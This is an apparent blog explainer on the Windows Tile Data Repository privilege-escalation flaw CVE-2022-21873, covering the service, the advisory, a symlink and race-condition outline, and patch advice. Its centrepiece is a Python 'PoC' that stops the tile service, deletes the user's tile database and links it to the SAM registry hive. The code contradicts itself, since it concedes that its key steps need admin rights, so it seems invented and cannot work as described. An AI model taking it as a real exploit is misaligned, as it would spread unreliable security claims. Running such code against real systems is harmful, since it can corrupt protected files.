In January 2022, Microsoft disclosed several security holes that shook the Windows user world. Among them was CVE-2022-21873, a serious elevation of privilege bug in the Windows Tile Data Repository. Let’s break down what this vulnerability is, how it works, and why you should care.

What is Tile Data Repository?

The Tile Data Repository is a Windows service related to the Start Menu’s live tiles and application layouts. It keeps track of user tile arrangements and certain app data, usually stored in a protected database. This service runs in the background and was introduced in Windows 8, making its way into later versions, including Windows 10 and some editions of Windows Server.

What is CVE-2022-21873?

CVE-2022-21873 is a vulnerability that allows elevation of privilege (EoP). That means a user or malware with limited rights can gain SYSTEM-level privileges — the highest possible on Windows — and potentially take complete control.

The issue lies in how the Tile Data Repository improperly handles certain file operations. By carefully preparing malicious files and manipulating permissions, an attacker could trick Windows into executing code as SYSTEM.

Official Microsoft wording

> "An elevation of privilege vulnerability exists in Windows Tile Data Repository when it improperly handles file operations."

CVSS Score: 7.8 (High)  
Affected systems: Primarily Windows 10 versions and correlated Windows Server releases  
References:  
- Microsoft Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21873

How Does the Exploit Work?

The exploit leverages a classic race condition and symbolic link (symlink) abuse. Here’s the simple outline:

Tile Data Repository runs as SYSTEM, it creates and accesses files for tile management.

2. A low-privilege user can manipulate the files in ways the system didn’t anticipate, setting up a situation where the tile repository process opens a sensitive SYSTEM file or location, or where a malicious file gets loaded by SYSTEM privileges.
3. The attacker prepares a symbolic link (symlink) so that when the service accesses its database, it’s actually redirected to a file the attacker controls.
4. If successful, this allows the attacker to replace or modify SYSTEM-level files or get code executed as SYSTEM.

*Note: This is for educational purposes only.*

Let’s look at a PoC snippet showcasing how you might try to replace the Tile Data Repository’s DB file with a symlink.

import os
import time

# Directory for TileDataLayer (User Account)
db_dir = r"C:\Users\<user>\AppData\Local\TileDataLayer\Database"
db_file = os.path.join(db_dir, "vedatamodel.edb")
symlink_target = r"C:\Windows\System32\config\SAM"  # Sensitive file

# Shut down Tile Data Repository service (this requires admin, so attacker waits for Windows to reboot/log out)
os.system('sc stop tiledatamodelsvc')

# Remove legitimate DB if possible
try:
    os.remove(db_file)
except Exception:
    pass

# Create symlink (requires SeCreateSymbolicLinkPrivilege, usually available to admin or during exploit)
if not os.path.exists(db_file):
    os.symlink(symlink_target, db_file)

# When the service restarts, it may append to or read from the symlinked file as SYSTEM
# This could lead to file corruption or privilege escalation if chained with other bugs

*In practice, exploiting this reliably is more involved, but this illustrates the idea.*  
*Some exploit kits combine this with privilege escalation or DLL hijacking.*

How Was It Fixed?

Microsoft addressed this vulnerability in their January 2022 Patch Tuesday rollout.  
If you’re up-to-date on patches, you’re protected.

Update your system immediately!  
Patch Reference: Microsoft Security Update Guide

References for Further Reading

- Microsoft Security Advisory
- NVD Entry
- SSD Disclosure

Conclusion

CVE-2022-21873 is a textbook example of how small mistakes in privilege separation can create big security risks. If you’re running Windows 10, make sure you patch your system and remain wary of any privilege escalation news. These bugs are prime targets for malware writers and ransomware operators.

Timeline

Published on: 01/11/2022 21:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC